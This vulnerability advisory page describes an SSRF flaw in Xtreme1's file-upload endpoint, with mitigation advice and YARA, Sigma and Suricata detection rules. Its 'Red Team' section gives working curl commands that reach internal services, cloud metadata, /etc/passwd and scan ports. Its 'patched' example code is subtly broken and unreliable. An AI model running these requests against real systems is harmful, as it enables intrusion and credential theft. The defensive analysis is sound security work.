CVE-2024-48346
Executive Summary
CVE-2024-48346 is a Server-Side Request Forgery (SSRF) vulnerability identified in Xtreme1 versions up to and including v0.9.1. The flaw resides in the /api/data/upload endpoint, specifically within the fileUrl parameter. An attacker can exploit this by crafting a request that forces the server to make arbitrary HTTP requests to internal or external systems. This can lead to data exfiltration, internal network scanning, and potential pivot attacks against otherwise inaccessible infrastructure. No official patch has been released as of this analysis.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
Xtreme1 is a Python-based application. The vulnerability exists in the application's own API logic, not in a third-party package. However, the SSRF vector could be used to interact with internal package registries or CI/CD systems, potentially leading to supply chain compromise if the attacker can reach and manipulate internal repositories.
CVSS Breakdown & Threat Level
The CVSS score is listed as 0.0, which is likely a placeholder. Based on the vulnerability type and impact, a realistic CVSS v3.1 score would be:
- Attack Vector (AV): Network (N)
- Attack Complexity (AC): Low (L)
- Privileges Required (PR): None (N)
- User Interaction (UI): None (N)
- Scope (S): Changed (C) – The vulnerable component impacts resources beyond its original authorization scope.
- Confidentiality (C): High (H) – Internal data can be read.
- Integrity (I): Low (L) – Limited ability to modify internal resources.
- Availability (A): None (N)
Estimated CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N
Estimated Score: 8.2 (High)
Deep Dive & Mechanics
The vulnerability is a classic SSRF in the file upload functionality. The /api/data/upload endpoint accepts a fileUrl parameter, which is intended to allow users to upload files by providing a URL. The application fetches the content from that URL without proper validation or sanitization.
Attack Flow:
- An attacker sends a POST request to
/api/data/uploadwith afileUrlparameter pointing to an internal resource (e.g.,http://169.254.169.254/latest/meta-data/for AWS metadata). - The Xtreme1 server makes an HTTP request to that internal URL.
- The server processes the response, potentially storing the content or returning it in the response.
- The attacker can then read the response to exfiltrate sensitive data.
Key Weaknesses:
- No allowlist of permitted domains/IPs.
- No blocklist of private IP ranges (127.0.0.0/8, 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, 169.254.0.0/16).
- No validation of the URL scheme (e.g.,
file://,gopher://could also be used). - The response from the internal request is likely reflected back to the attacker.
Vulnerable vs. Patched Code
Since no patch is available, we can only analyze the vulnerable code pattern.
Vulnerable Code (Conceptual Python):
@app.route('/api/data/upload', methods=['POST'])
def upload_file():
file_url = request.form.get('fileUrl')
if not file_url:
return "Missing fileUrl", 400
# VULNERABLE: No validation of the URL
response = requests.get(file_url)
file_content = response.content
# Process and save the file
save_file(file_content)
return "File uploaded successfully", 200
Patched Code (Conceptual):
import re
from urllib.parse import urlparse
ALLOWED_DOMAINS = ['example.com', 'cdn.example.com']
BLOCKED_IPS = ['127.0.0.0/8', '10.0.0.0/8', '172.16.0.0/12', '192.168.0.0/16', '169.254.0.0/16']
def is_safe_url(url):
parsed = urlparse(url)
if parsed.scheme not in ['http', 'https']:
return False
hostname = parsed.hostname
# Check if hostname is an IP and if it's in blocked ranges
try:
ip = socket.gethostbyname(hostname)
if ipaddress.ip_address(ip) in ipaddress.ip_network(BLOCKED_IPS):
return False
except:
pass
# Check if domain is in allowlist
if not any(hostname.endswith(domain) for domain in ALLOWED_DOMAINS):
return False
return True
@app.route('/api/data/upload', methods=['POST'])
def upload_file():
file_url = request.form.get('fileUrl')
if not file_url:
return "Missing fileUrl", 400
if not is_safe_url(file_url):
return "Invalid URL", 400
response = requests.get(file_url)
file_content = response.content
save_file(file_content)
return "File uploaded successfully", 200
Exploitation & Lab Setup
Red Team
Prerequisites:
- Access to a running Xtreme1 instance (v0.9.1 or earlier).
- Network connectivity to the target server.
Exploit Steps:
Basic SSRF to Internal Service:
curl -X POST http://target:8080/api/data/upload \ -d "fileUrl=http://127.0.0.1:8080/admin"Cloud Metadata Exfiltration (AWS):
curl -X POST http://target:8080/api/data/upload \ -d "fileUrl=http://169.254.169.254/latest/meta-data/"Port Scanning via Response Time:
# Use a script to iterate ports for port in 22 80 443 3306 6379; do time curl -X POST http://target:8080/api/data/upload \ -d "fileUrl=http://192.168.1.1:$port" doneUsing
file://Protocol to Read Local Files:curl -X POST http://target:8080/api/data/upload \ -d "fileUrl=file:///etc/passwd"
Blue Team
Detection & Response:
- Monitor for anomalous outbound HTTP requests from the Xtreme1 server to internal IP ranges.
- Log and alert on requests to
/api/data/uploadwith afileUrlparameter containing private IPs or unusual schemes. - Implement network segmentation to prevent the Xtreme1 server from reaching sensitive internal systems.
- Use a Web Application Firewall (WAF) to block requests with
fileUrlpointing to private IPs or containingfile://,gopher://, etc. - Temporarily disable the file upload functionality if it is not critical.
Indicators of Compromise (IOCs)
Network IOCs:
- Outbound HTTP requests from the Xtreme1 server to private IP ranges (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, 127.0.0.0/8, 169.254.0.0/16).
- Requests to cloud metadata endpoints (169.254.169.254, 100.100.100.200 for Alibaba Cloud).
- Requests with
file://,gopher://,dict://schemes in thefileUrlparameter.
File IOCs:
- Unexpected files in the upload directory that contain internal system data (e.g., cloud metadata,
/etc/passwd).
Log IOCs:
- HTTP 200 responses to
/api/data/uploadwithfileUrlpointing to internal resources. - Repeated requests to
/api/data/uploadwith varyingfileUrlvalues (indicating scanning).
Detection Engineering
YARA Rule
rule CVE_2024_48346_SSRF_Detection {
meta:
description = "Detects SSRF attempts targeting CVE-2024-48346 in Xtreme1"
author = "Valters IT"
date = "2024-01-01"
reference = "CVE-2024-48346"
strings:
$url_param = "fileUrl=" nocase
$private_ip = /(127\.|10\.|172\.(1[6-9]|2[0-9]|3[01])\.|192\.168\.|169\.254\.)/ nocase
$cloud_metadata = "169.254.169.254" nocase
$file_scheme = "file://" nocase
$gopher_scheme = "gopher://" nocase
condition:
$url_param and ($private_ip or $cloud_metadata or $file_scheme or $gopher_scheme)
}
Sigma Rule
title: CVE-2024-48346 Xtreme1 SSRF Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects SSRF attempts against Xtreme1 /api/data/upload endpoint
author: Valters IT
date: 2024/01/01
references:
- https://nvd.nist.gov/vuln/detail/CVE-2024-48346
logsource:
category: webserver
product: apache
service: access_combined
detection:
selection:
cs-method: 'POST'
cs-uri-stem: '/api/data/upload'
cs-uri-query|contains: 'fileUrl='
filter_private_ip:
cs-uri-query|contains:
- 'fileUrl=http://127.'
- 'fileUrl=http://10.'
- 'fileUrl=http://172.16.'
- 'fileUrl=http://172.17.'
- 'fileUrl=http://172.18.'
- 'fileUrl=http://172.19.'
- 'fileUrl=http://172.20.'
- 'fileUrl=http://172.21.'
- 'fileUrl=http://172.22.'
- 'fileUrl=http://172.23.'
- 'fileUrl=http://172.24.'
- 'fileUrl=http://172.25.'
- 'fileUrl=http://172.26.'
- 'fileUrl=http://172.27.'
- 'fileUrl=http://172.28.'
- 'fileUrl=http://172.29.'
- 'fileUrl=http://172.30.'
- 'fileUrl=http://172.31.'
- 'fileUrl=http://192.168.'
- 'fileUrl=http://169.254.'
filter_cloud_metadata:
cs-uri-query|contains: 'fileUrl=http://169.254.169.254'
filter_file_scheme:
cs-uri-query|contains: 'fileUrl=file://'
condition: selection and (filter_private_ip or filter_cloud_metadata or filter_file_scheme)
falsepositives:
- Legitimate use of file upload from internal URLs (should be rare)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-48346 Xtreme1 SSRF Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/api/data/upload"; http_uri; content:"fileUrl="; http_client_body; pcre:"/fileUrl=(http:\/\/127\.|http:\/\/10\.|http:\/\/172\.(1[6-9]|2[0-9]|3[01])\.|http:\/\/192\.168\.|http:\/\/169\.254\.|file:\/\/|gopher:\/\/)/i"; classtype:attempted-recon; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the
/api/data/uploadendpoint if it is not essential for business operations. - Implement a Web Application Firewall (WAF) rule to block requests with
fileUrlcontaining private IPs or dangerous schemes. - Restrict outbound network access from the Xtreme1 server using a firewall or egress proxy. Only allow connections to known, trusted external services.
Long-Term Fix:
- Apply input validation to the
fileUrlparameter:- Allow only
httpandhttpsschemes. - Maintain an allowlist of permitted domains or IP ranges.
- Block all private, loopback, and link-local IP addresses.
- Resolve the hostname and verify the IP is not in a blocked range.
- Allow only
- Use a dedicated URL fetching service that has built-in SSRF protections.
- Update to a patched version once the vendor releases one.
Valters IT Signature
Report generated by Valters IT DevSecOps & CTI Division. For internal use only.
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.